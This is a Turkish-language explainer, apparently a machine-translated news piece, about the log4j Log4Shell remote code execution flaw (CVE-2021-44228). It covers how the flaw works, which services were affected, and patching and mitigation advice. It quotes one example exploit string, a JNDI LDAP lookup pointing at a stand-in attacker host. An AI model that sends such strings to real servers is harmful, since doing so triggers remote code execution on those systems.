Endüstrinin çoğu tarafından kullanılan çok popüler bir günlük kaydı aracı olan log4j’de kritik bir uzaktan kod yürütme güvenlik açığı bulundu. Java çalıştıran hemen hemen her sunucuyu etkileyen son derece şiddetlidir ve kullanımı çok kolaydır, bu nedenle sorunu en kısa sürede güncellemek ve azaltmak isteyeceksiniz.
Bu nasıl çalışır?
CVE-2021-44228 tarafından izlenen hata, büyük olasılıkla aşağıdakileri kullanan hemen hemen tüm Java uygulamalarını etkiler: log4j
, ki ne kadar yaygın olduğu düşünüldüğünde oldukça az. Uygulamanız bir kullanıcı tarafından gönderilen bir dizeyi günlüğe kaydederse, muhtemelen savunmasızdır. Açıklardan yararlanma söz konusu olduğunda, temelde Java çalıştıran herhangi bir sunucuyu bir şekilde hedefleyebildiğinden (birincil saldırı vektörü modern JDK sürümlerinde daha zor olsa da, aşağıda daha fazlası için) bu yıl en kötülerinden biridir.
Esasen, istismar, bir saldırganın sunucunuza aşağıdaki gibi herhangi bir dize göndermesine izin verir ve uygulamanızda bir yerde günlüğe kaydederse, sunucunuz bu adreste barındırılan kodu yürütecek.
${jndi:ldap://attacker.com/a}
Bu, benzersiz biçimde biçimlendirilmiş bu dizeyi ayrıştırırken, log4j
Java Adlandırma ve Dizin Arayüzü aracılığıyla bir istek yapacak ve bu da rastgele bir uç noktaya bir indirme isteği gönderecek. İndirir ve seri durumdan çıkarır .class
güvensiz bir şekilde dosyalayın. Java sınıfları, sınıf derlendiğinde ve başvurulduğunda çalışan statik başlatıcılara sahip olabileceğinden, bu, basit, kısa bir dizeden uzaktan rastgele kod yürütülmesine neden olur. Örneğin, bir istemci kullanıcı aracısını bu dizeye ayarlayabilir veya başka bir şekilde bir isteğe dahil edebilir ve sunucunuz bunu günlüğe kaydettiğinde, istismarı tetikler.
Bu oldukça korkunç, CVSS ölçeğinde 9.8 puan alıyor. Ne kadar korkunç olsa da, hedeflenen sistemin kapsamı dışındaki hiçbir kaynağı etkilemediğinden (ancak kaydediciyi çalıştıran sunucuya uygulama düzeyinde erişim sağladığından) en kötü puandan sadece utangaçtır.
İLİŞKİLİ: Güvenlik Açıkları Nasıl Sıralanır? (CVSS)
Bir çok uygulamayı etkileyecek. Örneğin Minecraft, hem sunucularda hem de oyun içi sohbet mesajları aracılığıyla bir sunucuya bağlı tüm oyuncularda kod yürütmek mümkün olduğundan, haberleri yayan ve istismara yama yapan ilk kişilerden biriydi. Hatayı düzeltmek için oyun için bir düzeltme güncellemesi yayınlandı.
Steam ve iCloud gibi popüler hizmetlerin savunmasız olduğu zaten tespit edildi ve güvenlik araştırma şirketi GreyNoise, savunmasız sunucular için taramalar yapan birden fazla IP tespit etti.
@GreyGürültü şu anda 2 benzersiz IP’nin yeni Apache Log4j RCE güvenlik açığı için interneti taradığını görüyor (henüz CVE atanmamış).
Bu etkinliği https://t.co/QckU3An40q adresinde izlemek için bir etiket kısa süre içinde kullanıma sunulacak ve yayınlandığında yanıt olarak bağlanacaktır.— remy🐀 (@_mattata) 10 Aralık 2021
Muhtemelen zaten koşuyorsun log4j
, standart günlük kaydı aracı olarak yüzlerce başka kütüphaneye dahil edilmiştir. Ancak, daha büyük JDK sürümleri 6u211
, 7u201
, 8u191
, ve 11.0.1
şu anda sömürülen birincil saldırı vektöründen (LDAP kullanan) etkilenmez. Bu, güncelleme yapmamanız gerektiği anlamına gelmez, çünkü log4j
+ JNDI hala şiddetlidir ve diğer saldırı vektörleriyle de kolaylıkla kullanılabilir.
Nasıl Düzeltirim?
Neyse ki, zaten tamamen yayan bir düzeltme var, bu yüzden sunucularınızı en kısa sürede güncellemelisiniz. Bu, aynı zamanda bu kritik yama için güncellenmesi gereken istemci uygulamalarını da etkiler. Ne de olsa 3 milyar cihaz Java kullanıyor, bu yüzden tamamen düzeltilmesi biraz zaman alacak.
İstismar zaten yamalandı log4j
‘nin en son sürümü olan 2.15.0-rc2 olduğundan, mümkünse bunu güncellemelisiniz. Eski sürümlerde takılıp kalmış olabilecek kullanıcılar için önem derecesi göz önüne alındığında, yama önceki sürümlere de geri yüklendi.
kullanan başka bir kitaplık kullanıyorsanız log4j
, çoğu durumda yine de manuel olarak güncelleyebilmeniz gerekir, ancak yapamazsanız, sorunu azaltmak için bu JVM bayrağını kullanabilirsiniz; log4j
mesajları biçimlendirirken asla arama yapmamak.
-Dlog4j2.formatMsgNoLookups=true